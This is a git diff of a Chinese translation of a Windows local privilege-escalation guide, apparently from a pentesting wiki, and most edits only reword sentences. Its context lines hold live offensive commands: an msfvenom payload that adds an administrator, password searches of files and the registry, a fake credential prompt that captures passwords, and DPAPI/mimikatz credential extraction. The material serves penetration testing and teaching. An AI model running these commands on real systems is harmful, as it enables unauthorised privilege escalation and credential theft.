+检查您是否可以 **覆盖某个正在运行的二进制文件**,或者您是否对二进制文件夹具有写入权限,以利用可能的 [**DLL 劫持攻击**](dll-hijacking/):
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@@ -434,7 +434,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
如果您遇到此错误(例如与SSDPSRV):
_系统错误 1058 已发生。_\
-NAN;_T该服务无法启动,可能是因为它被禁用或没有启用的设备与之关联。_
+NAN;_T该服务无法启动,可能是因为它被禁用或没有与之关联的启用设备。_
您可以使用以下方法启用它:
```bash
@@ -465,12 +465,12 @@ net stop [service name] && net start [service name]
权限可以通过各种权限提升:
- **SERVICE_CHANGE_CONFIG**: 允许重新配置服务二进制文件。
-- **WRITE_DAC**: 启用权限重新配置,从而能够更改服务配置。
+- **WRITE_DAC**: 使得权限重新配置成为可能,从而能够更改服务配置。
- **WRITE_OWNER**: 允许获取所有权和权限重新配置。
- **GENERIC_WRITE**: 继承更改服务配置的能力。
- **GENERIC_ALL**: 也继承更改服务配置的能力。
-对于此漏洞的检测和利用,可以使用 _exploit/windows/local/service_permissions_。
+为了检测和利用此漏洞,可以使用 _exploit/windows/local/service_permissions_。
### 服务二进制文件的弱权限
@@ -515,7 +515,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
### 未加引号的服务路径
-如果可执行文件的路径没有用引号括起来,Windows 将尝试执行每个在空格之前的结尾。
+如果可执行文件的路径没有用引号括起来,Windows 将尝试执行每个以空格结尾的部分。
例如,对于路径 _C:\Program Files\Some Folder\Service.exe_,Windows 将尝试执行:
```powershell
@@ -543,7 +543,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
```powershell
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
-**您可以使用** metasploit 检测和利用此漏洞: `exploit/windows/local/trusted\_service\_path` 您可以使用 metasploit 手动创建服务二进制文件:
+**您可以使用** metasploit 检测和利用此漏洞: `exploit/windows/local/trusted\_service\_path` 您可以手动创建一个服务二进制文件,使用 metasploit:
```bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
```
@@ -564,7 +564,7 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
-### 写入权限
+### 写权限
检查您是否可以修改某个配置文件以读取某个特殊文件,或者您是否可以修改将由管理员帐户(schedtasks)执行的某个二进制文件。
@@ -593,7 +593,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
```
### 开机时运行
-**检查您是否可以覆盖某些将由其他用户执行的注册表或二进制文件。**\
+**检查您是否可以覆盖某些将由不同用户执行的注册表或二进制文件。**\
**阅读**以下页面以了解有关有趣的**自动运行位置以提升权限**的更多信息:
{{#ref}}
@@ -616,7 +616,7 @@ driverquery /SI
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
-有关如何滥用此检查的更多信息,请参见:
+有关如何滥用此检查的更多信息:
{{#ref}}
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
@@ -703,9 +703,9 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
来自 [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows Vault 存储用户在服务器、网站和其他程序的凭据,**Windows** 可以 **自动登录用户**。乍一看,这可能看起来像是用户可以存储他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等,以便他们通过浏览器自动登录。但事实并非如此。
-Windows Vault 存储 Windows 可以自动登录用户的凭据,这意味着任何 **需要凭据来访问资源**(服务器或网站)的 **Windows 应用程序都可以使用此凭据管理器**和 Windows Vault,并使用提供的凭据,而不是用户每次都输入用户名和密码。
+Windows Vault 存储 Windows 可以自动登录用户的凭据,这意味着任何 **需要凭据来访问资源**(服务器或网站)的 **Windows 应用程序** **都可以利用这个凭据管理器** 和 Windows Vault,并使用提供的凭据,而不是用户一直输入用户名和密码。
-除非应用程序与凭据管理器交互,否则我认为它们不可能使用给定资源的凭据。因此,如果您的应用程序想要使用 Vault,它应该以某种方式 **与凭据管理器通信并请求该资源的凭据**,从默认存储 Vault 中获取。
+除非应用程序与凭据管理器交互,否则我认为它们不可能使用给定资源的凭据。因此,如果您的应用程序想要使用 Vault,它应该以某种方式 **与凭据管理器通信并请求该资源的凭据** 从默认存储 Vault。
使用 `cmdkey` 列出机器上存储的凭据。
```bash
@@ -746,7 +746,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
您可以使用 **mimikatz module** `dpapi::cred` 和适当的 `/masterkey` 进行解密。\
-您可以使用 `sekurlsa::dpapi` 模块(如果您是 root)从 **memory** 中 **提取许多 DPAPI** **masterkeys**。
+您可以使用 `sekurlsa::dpapi` 模块从 **内存** 中提取许多 **DPAPI** **masterkeys**(如果您是 root)。
{{#ref}}
dpapi-extracting-passwords.md
@@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
### PowerShell 凭据
-**PowerShell 凭据** 通常用于 **脚本** 和自动化任务,以便方便地存储加密凭据。这些凭据使用 **DPAPI** 进行保护,这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。
+**PowerShell 凭据** 通常用于 **脚本** 和自动化任务,以便方便地存储加密的凭据。这些凭据使用 **DPAPI** 进行保护,这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。
要从包含 PS 凭据的文件中 **解密** 凭据,您可以执行:
```powershell
@@ -795,7 +795,7 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
### 便签
-人们常常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息,而没有意识到它是一个数据库文件。该文件位于 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,始终值得搜索和检查。
+人们经常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息,而没有意识到它是一个数据库文件。该文件位于 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,始终值得搜索和检查。
### AppCmd.exe
@@ -803,7 +803,7 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录中。\
如果该文件存在,则可能已经配置了一些 **凭据** 并可以 **恢复**。
-此代码摘自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
+此代码提取自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
```bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
@@ -884,7 +884,7 @@ $ErrorActionPreference = $OrigError
### SCClient / SCCM
检查 `C:\Windows\CCM\SCClient.exe` 是否存在。\
-安装程序以 **SYSTEM 权限** 运行,许多程序易受 **DLL 侧载攻击(信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。**
+安装程序以 **SYSTEM 权限** 运行,许多程序易受 **DLL Sideloading 攻击(信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。**
```bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
@@ -1054,7 +1054,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
```
### 请求凭据
-您可以始终**要求用户输入他的凭据或其他用户的凭据**,如果您认为他可能知道这些凭据(请注意,**直接向客户请求** **凭据**是非常**危险**的):
+您可以始终**要求用户输入他的凭据或其他用户的凭据**,如果您认为他可能知道这些凭据(请注意,**直接向**客户**请求**凭据是非常**危险**的):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@@ -1170,7 +1170,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
**组件对象模型(COM)**是内置于Windows操作系统中的一种技术,允许不同语言的软件组件之间进行**互通**。每个COM组件通过类ID(CLSID)进行**标识**,每个组件通过一个或多个接口暴露功能,这些接口通过接口ID(IIDs)进行标识。
-COM类和接口在注册表中定义,分别位于**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**和**HKEY\_**_**CLASSES\_**_**ROOT\Interface**。该注册表是通过合并**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**创建的。
+COM类和接口在注册表中分别定义在**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**和**HKEY\_**_**CLASSES\_**_**ROOT\Interface**。该注册表是通过合并**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**创建的。
在该注册表的CLSID中,您可以找到子注册表**InProcServer32**,其中包含一个指向**DLL**的**默认值**和一个名为**ThreadingModel**的值,该值可以是**Apartment**(单线程)、**Free**(多线程)、**Both**(单线程或多线程)或**Neutral**(线程中立)。
@@ -1184,7 +1184,7 @@ COM类和接口在注册表中定义,分别位于**HKEY\_**_**CLASSES\_**_**RO
com-hijacking.md
{{#endref}}
-### **在文件和注册表中搜索通用密码**
+### **在文件和注册表中进行通用密码搜索**
**搜索文件内容**
```bash
@@ -1198,7 +1198,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```
-**搜索注册表中的密钥名称和密码**
+**搜索注册表中的键名和密码**
```bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
@@ -1220,8 +1220,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
## 泄露的句柄
-想象一下,**一个以SYSTEM身份运行的进程**通过**完全访问**打开一个新进程(`OpenProcess()`)。同一个进程**还创建了一个新进程**(`CreateProcess()`),**具有低权限但继承了主进程的所有打开句柄**。\
-然后,如果你对这个低权限进程**拥有完全访问权限**,你可以抓取通过`OpenProcess()`创建的**特权进程的打开句柄**并**注入shellcode**。\
+想象一下,**一个以 SYSTEM 身份运行的进程打开一个新进程** (`OpenProcess()`),并且具有**完全访问权限**。同一个进程**还创建一个新进程** (`CreateProcess()`) **,该进程具有低权限但继承了主进程的所有打开句柄**。\
+然后,如果你对这个低权限进程**拥有完全访问权限**,你可以获取通过 `OpenProcess()` 创建的**特权进程的打开句柄**并**注入 shellcode**。\
[阅读这个例子以获取有关**如何检测和利用此漏洞**的更多信息。](leaked-handle-exploitation.md)\
[阅读这篇**其他文章以获得更完整的解释,了解如何测试和滥用具有不同权限级别(不仅仅是完全访问权限)继承的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
@@ -1229,17 +1229,17 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
共享内存段,称为**管道**,使进程之间能够进行通信和数据传输。
-Windows提供了一种称为**命名管道**的功能,允许不相关的进程共享数据,甚至跨不同网络。这类似于客户端/服务器架构,角色定义为**命名管道服务器**和**命名管道客户端**。
+Windows 提供了一种称为**命名管道**的功能,允许不相关的进程共享数据,甚至跨不同网络。这类似于客户端/服务器架构,角色定义为**命名管道服务器**和**命名管道客户端**。
-当**客户端**通过管道发送数据时,设置管道的**服务器**有能力**承担客户端的身份**,前提是它具有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**,你可以模仿它,这提供了**获得更高权限**的机会,因为一旦它与您建立的管道交互,您就可以采用该进程的身份。有关执行此类攻击的说明,可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](./#from-high-integrity-to-system)找到有用的指南。
+当**客户端**通过管道发送数据时,设置管道的**服务器**有能力**承担客户端的身份**,前提是它具有必要的**SeImpersonate** 权限。识别一个通过管道进行通信的**特权进程**,你可以模仿它,这提供了一个**获得更高权限**的机会,通过采用该进程的身份,一旦它与您建立的管道进行交互。有关执行此类攻击的说明,可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](./#from-high-integrity-to-system)找到有用的指南。
-此外,以下工具允许**使用像burp这样的工具拦截命名管道通信:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有管道以查找权限提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
+此外,以下工具允许**使用像 burp 这样的工具拦截命名管道通信:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **,而这个工具允许列出并查看所有管道以寻找特权提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## 杂项
### **监控命令行中的密码**
-当以用户身份获取shell时,可能会有计划任务或其他进程正在执行,这些进程**在命令行中传递凭据**。下面的脚本每两秒捕获一次进程命令行,并将当前状态与先前状态进行比较,输出任何差异。
+当以用户身份获取 shell 时,可能会有计划任务或其他进程正在执行,这些进程**在命令行中传递凭据**。下面的脚本每两秒捕获一次进程命令行,并将当前状态与先前状态进行比较,输出任何差异。
```powershell
while($true)
{
@@ -1327,7 +1327,7 @@ sc start newservicename
### AlwaysInstallElevated
从高完整性进程中,您可以尝试**启用 AlwaysInstallElevated 注册表项**并**使用 _**.msi**_ 包装器安装**反向 shell。\
-[有关相关注册表项和如何安装 _.msi_ 包的更多信息,请点击这里。](./#alwaysinstallelevated)
+[有关涉及的注册表项和如何安装 _.msi_ 包的更多信息,请点击这里。](./#alwaysinstallelevated)
### High + SeImpersonate privilege to System
@@ -1343,7 +1343,7 @@ sc start newservicename
此技术被 meterpreter 用于在 `getsystem` 中进行升级。该技术包括**创建一个管道,然后创建/滥用一个服务来写入该管道**。然后,**使用 `SeImpersonate` 权限创建管道的**服务器将能够**模拟管道客户端(服务)的令牌**,从而获得 SYSTEM 权限。\
如果您想要[**了解更多关于命名管道的信息,您应该阅读这个**](./#named-pipe-client-impersonation)。\
-如果您想阅读一个[**如何通过命名管道从高完整性转到系统的示例,您应该阅读这个**](from-high-integrity-to-system-with-name-pipes.md)。
+如果您想阅读[**如何通过命名管道从高完整性转到系统的示例,您应该阅读这个**](from-high-integrity-to-system-with-name-pipes.md)。
### Dll Hijacking
@@ -1377,17 +1377,17 @@ sc start newservicename
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域中喷洒收集到的密码**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 privesc Windows 枚举**\
-[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞(已弃用,改为 Watson)\
+[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞(已弃用,替换为 Watson)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(需要管理员权限)**
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞(需要使用 VisualStudio 编译) ([**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找错误配置(更多是收集信息工具而非 privesc)(需要编译) **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
-[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据(GitHub 上的预编译 exe)**\
+[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据(在 github 上有预编译 exe)**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\
-[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置(GitHub 上的可执行文件预编译)。不推荐。它在 Win10 上效果不好。\
-[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置(来自 Python 的 exe)。不推荐。它在 Win10 上效果不好。
+[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置(在 github 上的可执行文件预编译)。不推荐。它在 Win10 上效果不佳。\
+[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置(来自 python 的 exe)。不推荐。它在 Win10 上效果不佳。
**Bat**
@@ -1395,8 +1395,8 @@ sc start newservicename
**Local**
-[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- 读取 **systeminfo** 的输出并推荐有效的漏洞(本地 Python)\
-[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- 读取 **systeminfo** 的输出并推荐有效的漏洞(本地 Python)
+[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- 读取 **systeminfo** 的输出并推荐有效的漏洞(本地 python)\
+[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- 读取 **systeminfo** 的输出并推荐有效的漏洞(本地 python)
**Meterpreter**
diff --git a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
index 9f7a8529f..41bacd80c 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
@@ -56,16 +56,16 @@ SeTimeZonePrivilege Change the time zone Disabled
### 本地管理员
-当本地管理员登录时,**会创建两个访问令牌**:一个具有管理员权限,另一个具有普通权限。**默认情况下**,当该用户执行进程时,使用的是具有**常规**(非管理员)**权限的令牌**。当该用户尝试**以管理员身份执行**任何操作(例如“以管理员身份运行”)时,**UAC** 将被用来请求权限。\
+当本地管理员登录时,**会创建两个访问令牌**:一个具有管理员权限,另一个具有普通权限。**默认情况下**,当该用户执行进程时,将使用具有**常规**(非管理员)**权限的令牌**。当该用户尝试**以管理员身份执行**任何操作(例如“以管理员身份运行”)时,**UAC** 将被用来请求权限。\
如果您想要[**了解更多关于 UAC 的信息,请阅读此页面**](../authentication-credentials-uac-and-efs/#uac)**。**
-### 凭据用户冒充
+### 凭据用户 impersonation
如果您拥有**任何其他用户的有效凭据**,您可以**使用这些凭据创建**一个**新的登录会话**:
```
runas /user:domain\username cmd.exe
```
-**访问令牌**还包含**LSASS**内部登录会话的**引用**,这在进程需要访问网络的一些对象时非常有用。\
+**访问令牌**还包含**LSASS**中的登录会话的**引用**,这在进程需要访问网络的某些对象时非常有用。\
您可以使用以下方法启动一个**使用不同凭据访问网络服务**的进程:
```
runas /user:domain\username /netonly cmd.exe
@@ -76,12 +76,12 @@ runas /user:domain\username /netonly cmd.exe
可用的令牌有两种类型:
-- **Primary Token**:它作为进程安全凭据的表示。创建和将主令牌与进程关联的操作需要提升的权限,强调了权限分离的原则。通常,身份验证服务负责令牌的创建,而登录服务则处理其与用户操作系统外壳的关联。值得注意的是,进程在创建时会继承其父进程的主令牌。
+- **Primary Token**:它作为进程安全凭据的表示。创建和将主令牌与进程关联的操作需要提升的权限,强调了权限分离的原则。通常,身份验证服务负责令牌的创建,而登录服务处理其与用户操作系统外壳的关联。值得注意的是,进程在创建时会继承其父进程的主令牌。
- **Impersonation Token**:使服务器应用程序能够暂时采用客户端的身份以访问安全对象。该机制分为四个操作级别:
- **Anonymous**:授予服务器与未识别用户相似的访问权限。
- **Identification**:允许服务器验证客户端的身份,而不利用其进行对象访问。
- **Impersonation**:使服务器能够在客户端身份下操作。
- - **Delegation**:类似于Impersonation,但包括将此身份假设扩展到服务器交互的远程系统的能力,以确保凭据的保留。
+ - **Delegation**:类似于Impersonation,但包括将这种身份假设扩展到服务器交互的远程系统的能力,以确保凭据的保留。
#### 模拟令牌
diff --git a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
index 9bb904907..a742cd15f 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
@@ -16,7 +16,7 @@ ACL 有两种类型:
### **关键组件**
- **DACL:** 包含授予或拒绝用户和组对对象的访问权限的 ACE。它本质上是决定访问权限的主要 ACL。
-- **SACL:** 用于审计对对象的访问,其中 ACE 定义了在安全事件日志中记录的访问类型。这对于检测未经授权的访问尝试或排除访问问题非常重要。
+- **SACL:** 用于审计对对象的访问,其中 ACE 定义了在安全事件日志中记录的访问类型。这对于检测未经授权的访问尝试或排除访问问题非常有价值。
### **系统与 ACL 的交互**
@@ -55,11 +55,11 @@ ACL 有两种类型:
**ACEs**(规定谁可以或不能访问某物的规则)在称为 **DACL** 的列表中的排列方式非常重要。这是因为一旦系统根据这些规则授予或拒绝访问,它就停止查看其余的规则。
-有一种最佳的组织这些 ACE 的方式,称为 **“规范顺序。”** 这种方法有助于确保一切顺利和公平地工作。对于像 **Windows 2000** 和 **Windows Server 2003** 这样的系统,其顺序如下:
+有一种最佳的组织这些 ACE 的方式,称为 **“规范顺序。”** 这种方法有助于确保一切顺利和公平。对于像 **Windows 2000** 和 **Windows Server 2003** 这样的系统,其顺序如下:
- 首先,将所有 **专门为此项** 制定的规则放在来自其他地方(如父文件夹)的规则之前。
-- 在这些特定规则中,将 **“不允许”(deny)** 的规则放在 **“允许”(allow)** 的规则之前。
-- 对于来自其他地方的规则,从 **最近的来源** 开始,例如父项,然后向后排列。同样,将 **“不允许”** 的规则放在 **“允许”** 的规则之前。
+- 在这些特定规则中,将 **“不允许”(拒绝)** 的规则放在 **“允许”(允许)** 的规则之前。
+- 对于来自其他地方的规则,从 **最近的来源** 开始,例如父级,然后向后排列。同样,将 **“不允许”** 的规则放在 **“允许”** 的规则之前。
这种设置在两个方面有很大帮助:
@@ -102,14 +102,14 @@ ACL 有两种类型:
#### 允许被拒绝组的特定成员访问
-假设市场总监 Bob 需要访问 Cost 文件夹,即使市场团队通常不应该有访问权限。我们可以为 Bob 添加一个特定的规则 (ACE),授予他访问权限,并将其放在拒绝市场团队访问的规则之前。这样,尽管对他的团队有一般限制,Bob 仍然可以访问。
+假设市场总监 Bob 需要访问 Cost 文件夹,尽管市场团队通常不应该有访问权限。我们可以为 Bob 添加一个特定规则 (ACE),授予他访问权限,并将其放在拒绝市场团队访问的规则之前。这样,尽管对他的团队有一般限制,Bob 仍然可以访问。
#### 理解访问控制条目
ACE 是 ACL 中的单个规则。它们识别用户或组,指定允许或拒绝的访问,并确定这些规则如何适用于子项(继承)。ACE 主要有两种类型:
- **通用 ACE:** 这些规则广泛适用,影响所有类型的对象,或仅区分容器(如文件夹)和非容器(如文件)。例如,允许用户查看文件夹内容但不允许访问其中的文件的规则。
-- **对象特定 ACE:** 这些提供更精确的控制,允许为特定类型的对象或对象内的特定属性设置规则。例如,在用户目录中,规则可能允许用户更新其电话号码,但不允许更新其登录时间。
+- **对象特定 ACE:** 这些提供更精确的控制,允许为特定类型的对象或对象内的单个属性设置规则。例如,在用户目录中,规则可能允许用户更新其电话号码,但不允许更新其登录时间。
每个 ACE 包含重要信息,例如规则适用的对象(使用安全标识符或 SID)、规则允许或拒绝的内容(使用访问掩码)以及如何被其他对象继承。
@@ -127,12 +127,12 @@ ACE 是 ACL 中的单个规则。它们识别用户或组,指定允许或拒
| 类型 | 表示 ACE 类型的标志。Windows 2000 和 Windows Server 2003 支持六种类型的 ACE:三种通用 ACE 类型,附加到所有可安全对象。三种对象特定 ACE 类型,可以出现在 Active Directory 对象中。 |
| 标志 | 控制继承和审计的一组位标志。 |
| 大小 | 为 ACE 分配的内存字节数。 |
-| 访问掩码 | 32 位值,其位对应于对象的访问权限。位可以设置为开启或关闭,但设置的含义取决于 ACE 类型。例如,如果对应于读取权限的位被打开,并且 ACE 类型为拒绝,则 ACE 拒绝读取对象的权限。如果同一位被设置为开启,但 ACE 类型为允许,则 ACE 授予读取对象权限的权利。访问掩码的更多详细信息出现在下一个表中。 |
-| SID | 标识由此 ACE 控制或监控访问的用户或组。 |
+| 访问掩码 | 32 位值,其位对应于对象的访问权限。位可以设置为开启或关闭,但设置的含义取决于 ACE 类型。例如,如果对应于读取权限的位被打开,并且 ACE 类型为拒绝,则 ACE 拒绝读取对象的权限。如果相同的位被设置为开启,但 ACE 类型为允许,则 ACE 授予读取对象权限的权利。访问掩码的更多详细信息出现在下一个表中。 |
+| SID | 标识由此 ACE 控制或监视访问的用户或组。 |
### 访问掩码布局
-| 位(范围) | 意义 | 描述/示例 |
+| 位(范围) | 含义 | 描述/示例 |
| ----------- | ---------------------------------- | ----------------------------------------- |
| 0 - 15 | 对象特定访问权限 | 读取数据、执行、附加数据 |
| 16 - 22 | 标准访问权限 | 删除、写入 ACL、写入所有者 |
diff --git a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
index 2b380c72d..407382dfe 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
@@ -17,9 +17,9 @@
尽管存在这些限制,但通过利用 **RpcEptMapper** 服务的注册表结构中的 **Performance** 子项,识别出潜在的权限提升机会,该子项默认情况下不存在。这可能使 DLL 注册和性能监控成为可能。
-查阅了关于 **Performance** 子项及其在性能监控中的使用的文档,开发了一个概念验证 DLL。该 DLL 演示了 **OpenPerfData**、**CollectPerfData** 和 **ClosePerfData** 函数的实现,通过 **rundll32** 测试,确认其操作成功。
+查阅了有关 **Performance** 子项及其在性能监控中使用的文档,开发了一个概念验证 DLL。该 DLL 演示了 **OpenPerfData**、**CollectPerfData** 和 **ClosePerfData** 函数的实现,通过 **rundll32** 测试,确认其操作成功。
-目标是强制 **RPC Endpoint Mapper service** 加载精心制作的 Performance DLL。观察发现,通过 PowerShell 执行与性能数据相关的 WMI 类查询会导致创建日志文件,从而在 **LOCAL SYSTEM** 上下文中执行任意代码,从而授予提升的权限。
+目标是强迫 **RPC Endpoint Mapper service** 加载精心制作的 Performance DLL。观察发现,通过 PowerShell 执行与性能数据相关的 WMI 类查询会生成一个日志文件,从而使得在 **LOCAL SYSTEM** 上下文中执行任意代码成为可能,从而授予提升的权限。
强调了该漏洞的持久性和潜在影响,突显其在后期利用策略、横向移动和规避 antivirus/EDR 系统中的相关性。
diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
index 86ed28a73..9ba46cab3 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
@@ -51,7 +51,7 @@ Write-Host
检查输出后,您可以选择一个将在 **每次用户登录时** 执行的任务,例如。
-现在在 **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** 以及 HKLM 和 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**,通常会发现该值在 HKCU 中不存在。
+现在在 **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** 和 HKLM 及 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**,通常会发现该值在 HKCU 中不存在。
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
index 200d2a6de..6369d221b 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
@@ -4,7 +4,7 @@
MSI 安装程序的创建将使用 wixtools,具体来说,将利用 [wixtools](http://wixtoolset.org)。值得一提的是,尝试了其他 MSI 构建工具,但在这个特定案例中并未成功。
-为了全面了解 wix MSI 的使用示例,建议查阅 [此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)。在这里,您可以找到各种示例,演示 wix MSI 的用法。
